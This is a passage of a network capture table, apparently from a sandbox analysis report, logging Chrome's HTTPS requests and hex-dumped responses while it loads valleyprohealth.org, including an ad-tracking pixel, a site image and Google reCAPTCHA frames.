href="https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/styles__ltr.css"><script nonce="uT98d4a779c_19io-xcKDg" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.co
2024-04-24 12:45:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.4	50177	15.197.193.217	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:21 UTC	1087	OUT	GET /track/up?adv=3l6d758&ref=https%3A%2F%2Fvalleyprohealth.org%2F&upid=6su09yz&upv=1.1.0 HTTP/1.1 Host: insight.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFKAMyCwjcy-Dx45nyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..
2024-04-24 12:45:21 UTC	653	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:45:21 GMT Content-Type: text/html Content-Length: 382 Connection: close server: Kestrel set-cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; expires=Thu, 24 Apr 2025 12:45:21 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFKAMyCwi4svOo5JnyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..; expires=Thu, 24 Apr 2025 12:45:21 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-24 12:45:21 UTC	382	IN	Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 61 64 73 72 76 72 2e 6f 72 67 2f 75 6e 69 76 65 72 73 61 6c 5f 70 69 78 65 6c 2e 31 2e 31 2e 30 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 75 6e 69 76 65 72 73 61 6c 50 69 78 65 6c 43 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 67 6c 6f 62 61 6c 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <html><head> <script type="text/javascript" src="https://js.adsrvr.org/universal_pixel.1.1.0.js"></script></head><body> <div id="universalPixelContainer"> <script type="text/javascript"> (function(global) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.4	50178	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:22 UTC	792	OUT	GET /wp-content/uploads/2020/07/img__section-1-550x550.jpg HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962715.0.0.0; _ga=GA1.1.446872372.1713962665
2024-04-24 12:45:22 UTC	326	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:45:22 GMT Content-Type: image/jpeg Content-Length: 50146 Connection: close Last-Modified: Mon, 04 Sep 2023 09:19:49 GMT ETag: "64f5a135-c3e2" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:45:22 UTC	16058	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 02 26 02 26 03 01 11 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 03 01 02 04 05 06 00 07 08 ff c4 00 47 10 00 01 03 02 05 01 06 03 05 07 03 03 02 04 07 00 01 00 02 03 04 11 05 06 12 21 31 41 07 13 22 51 61 71 14 32 81 23 33 42 91 a1 15 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&&G!1A"Qaq2#3B
2024-04-24 12:45:22 UTC	16384	IN	Data Raw: 5d 26 cd 0e 06 fe a3 a2 84 80 a7 c5 db 4e 6a 65 99 97 6b 9c db 8b 6e dd b9 ba da 07 2e 4a b2 93 10 aa 8e 18 c1 6b 5b a8 8d ed c3 97 44 22 72 ce 55 d1 5a c8 27 ae 7b 9b 1b 08 8a fc ff 00 85 53 92 89 38 e0 e6 cd 1e 0d 87 88 6c 48 1e eb 8b 24 9b 3d 2c 38 e9 1a 5a 66 86 d8 59 62 d9 d9 15 c1 2a 52 00 68 2a 40 2e 1f 8c 53 e0 55 f4 b5 b3 48 1a d6 3c 72 77 b2 db 06 0c 99 5d 41 59 cf 9b 51 8f 12 b9 ba 3d 35 d9 a3 0e ad 81 95 0c ab 8c c6 f1 70 43 94 4b 14 93 a6 74 43 2c 5a b4 c8 32 67 ac 0e 84 96 3a a5 ae 7f a6 e8 f8 e4 ca 73 48 ce 63 79 a9 b8 a3 da 68 18 e2 f6 b8 10 eb 59 27 89 c7 b0 f9 53 e1 1a 3a 2c 55 d3 d1 c6 e9 76 7d 80 77 ba c9 ae 78 1a 62 cb 54 3a 39 22 8a ea 8a d3 bd ca 71 02 a6 a2 a0 ba ea 88 65 3e 31 30 6d 23 ed cd 95 47 b3 2c 9d 1e 57 30 ef 2b 49 71 e5 Data Ascii: ]&Njekn.Jk[D"rUZ'{S8lH$=,8ZfYbRh@.SUH<rw]AYQ=5pCKtC,Z2g:sHcyhY'S:,Uv}wxbT:9"qe>10m#G,W0+Iq
2024-04-24 12:45:22 UTC	16384	IN	Data Raw: 67 d4 42 52 cd 15 39 3a 8b 46 47 33 e6 2a ec c1 82 43 2e 1d 14 d0 60 34 93 1a 66 b1 a2 cd 1b 78 6f bf 5f fc ba ed d0 e0 ad 45 e6 fd 9f 27 2e b7 2a ff 00 0f b7 0f 11 46 4e 26 00 eb af a9 c7 1a 3e 72 52 62 48 cd 24 9f 34 49 0e 2e c5 85 c0 9b 22 0f 92 66 b8 0a 5b bd c2 b4 89 bb 04 f0 36 24 5e de 4a 64 5c 7e 86 97 6d 6f 98 7f 29 50 df a2 92 07 18 7c 52 77 8c 20 c5 63 a9 a7 96 9f f2 b3 8c 9c 5d fa 34 95 4d 53 ec ec 42 51 dc 5c 1f 55 59 67 c1 3a 78 3d dc 99 5c 4e 67 4d 14 14 8c 37 74 84 0b 7b af 0f 57 36 e3 1c 4b b6 7b fa 68 25 29 65 7e 8b b3 1b 69 a9 e2 a5 8f 86 36 c4 f9 9e ab d3 8c 76 41 41 7a 3c bd db e4 f2 3f 61 a9 e0 b8 e3 f3 5a c6 26 53 c8 4d f0 c2 cb f9 ab ba 47 37 ec ca 9a c9 9c f7 58 2e 4c 93 b3 bf 0c 29 11 a3 21 bd 37 58 ae 0d e4 ac 9d 87 b0 cb 59 03 Data Ascii: gBR9:FG3C.`4fxo_E'.FN&>rRbH$4I."f[6$^Jd\~mo)P\|Rw c]4MSBQ\UYg:x=\NgM7t{W6K{h%)e~i6vAAz<?aZ&SMG7X.L)!7XY
2024-04-24 12:45:22 UTC	1320	IN	Data Raw: 52 b0 12 c5 6d 80 d8 2c e5 03 48 cc 6b 1a 42 4a 05 39 13 63 1e 15 b2 47 34 98 57 b6 ed 55 56 65 17 4c 6d 3c 7f 68 12 8c 4b c9 2e 06 e2 0c 2e 69 1d 14 65 85 a1 e9 e4 93 28 65 88 83 b7 45 e6 cf 19 ea c2 60 9a f7 b3 60 7d d6 3f 1d fa 37 de d2 e0 93 1d 54 ad 03 41 2d 23 c8 f2 a1 e9 e2 fb 45 47 53 28 f4 c9 f0 62 32 bc 86 bc 07 7e 8b 29 78 c8 cf f5 74 6d 1f 27 28 fe c8 96 71 58 19 60 e6 bd 9f aa f3 f3 78 cc 90 eb 93 bb 17 92 c5 35 cf 01 e1 ad a5 9d e3 ed c0 f2 5c 73 c1 38 f6 8e d8 67 c7 27 d9 20 47 4e 0d c4 81 62 e3 2f a3 55 b7 ec 79 a7 88 38 39 b2 02 7d d6 74 fe 8a e0 63 a1 8e e7 7f 5d 8a 39 0a 43 4b 19 b0 16 37 f5 49 a6 1c 7a 10 c2 cb ec d0 36 e9 d5 2b 06 89 58 46 12 6b b1 5a 3a 46 f8 8c f3 35 96 1e 57 5a 63 e6 49 13 35 b5 59 f6 86 0f 4a da 2c 36 9e 06 0b 35 Data Ascii: Rm,HkBJ9cG4WUVeLm<hK..ie(eE``}?7TA-#EGS(b2~)xtm'(qX`x5\s8g' GNb/Uy89}tc]9CK7Iz6+XFkZ:F5WZcI5YJ,65

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.4	50180	142.250.101.99	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:22 UTC	985	OUT	GET /recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6cBqHyI6CxMAsgy8FuOW8qvOPUXUVkx1mhQVyYVVakiGeLeuNy0jm-Jzkcyqagtyn3kw9sO3eYO-2RcVmE
2024-04-24 12:45:22 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 24 Apr 2024 12:45:22 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-TWMWxQ-jJ7oc-ZwsgNMDBg' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:45:22 UTC	364	IN	Data Raw: 31 64 31 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 Data Ascii: 1d11<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face
2024-04-24 12:45:22 UTC	1255	IN	Data Raw: 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e Data Ascii: v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fon
2024-04-24 12:45:22 UTC	1255	IN	Data Raw: 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 Data Ascii: 20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E0
2024-04-24 12:45:22 UTC	1255	IN	Data Raw: 55 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b Data Ascii: U+04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-24 12:45:22 UTC	1255	IN	Data Raw: 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b Data Ascii: ce { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+
2024-04-24 12:45:22 UTC	1255	IN	Data Raw: 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 Data Ascii: tic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight
2024-04-24 12:45:22 UTC	810	IN	Data Raw: 7d 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 54 57 4d 57 78 51 2d 6a 4a 37 6f 63 2d 5a 77 73 67 4e 4d 44 42 67 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f Data Ascii: }</style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/styles__ltr.css"><script nonce="TWMWxQ-jJ7oc-ZwsgNMDBg" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.co
2024-04-24 12:45:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.4	50181	142.250.101.99	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:22 UTC	974	OUT	POST /recaptcha/api2/reload?k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 7437 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-protobuffer Accept: / Origin: https://www.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6cBqHyI6CxMAsgy8FuOW8qvOPUXUVkx1mhQVyYVVakiGeLeuNy0jm-Jzkcyqagtyn3kw9sO3eYO-2RcVmE
2024-04-24 12:45:22 UTC	7437	OUT	Data Raw: 0a 18 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 12 8e 0f 30 33 41 46 63 57 65 41 34 52 6f 32 2d 47 77 5a 63 77 32 74 74 77 48 63 54 6b 36 6c 38 5f 4f 79 76 45 62 79 77 48 41 32 75 65 57 54 79 51 5a 6e 49 44 66 73 75 76 39 46 30 4e 4e 47 36 6a 6a 30 66 4d 34 72 50 32 52 45 32 6c 46 6d 4a 6e 64 55 6f 65 57 36 57 63 62 75 7a 6a 49 2d 59 56 70 74 4f 72 52 66 2d 6f 74 48 77 70 58 61 44 68 67 43 66 32 6a 45 5f 57 65 58 35 75 4c 2d 71 4e 48 78 78 35 51 50 6b 64 41 4e 54 57 73 4b 37 41 6a 79 55 6a 45 7a 68 78 7a 34 32 5a 50 41 4b 53 78 67 38 61 58 52 4f 79 4b 50 4a 63 4a 33 41 58 75 66 5a 67 72 71 4a 66 49 33 35 75 30 4b 4f 73 53 56 66 52 59 43 68 69 39 32 31 49 44 78 43 73 38 2d 5a 67 7a 6a 48 71 31 78 62 49 48 75 65 5a 32 6f 62 55 Data Ascii: QoukH5jSO3sKFzVEA7Vc8VgC03AFcWeA4Ro2-GwZcw2ttwHcTk6l8_OyvEbywHA2ueWTyQZnIDfsuv9F0NNG6jj0fM4rP2RE2lFmJndUoeW6WcbuzjI-YVptOrRf-otHwpXaDhgCf2jE_WeX5uL-qNHxx5QPkdANTWsK7AjyUjEzhxz42ZPAKSxg8aXROyKPJcJ3AXufZgrqJfI35u0KOsSVfRYChi921IDxCs8-ZgzjHq1xbIHueZ2obU
2024-04-24 12:45:22 UTC	696	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Wed, 24 Apr 2024 12:45:22 GMT Expires: Wed, 24 Apr 2024 12:45:22 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: _GRECAPTCHA=09AKPP-6dwJDGtGybsoZY_Q_MXAImDL7mxroFCc2cKK7bGllH98hNIqJO8aphdHNZWrdb20ch2A0s4i636y8x6D3Y;Path=/recaptcha;Expires=Mon, 21-Oct-2024 12:45:22 GMT;Secure;HttpOnly;Priority=HIGH;SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
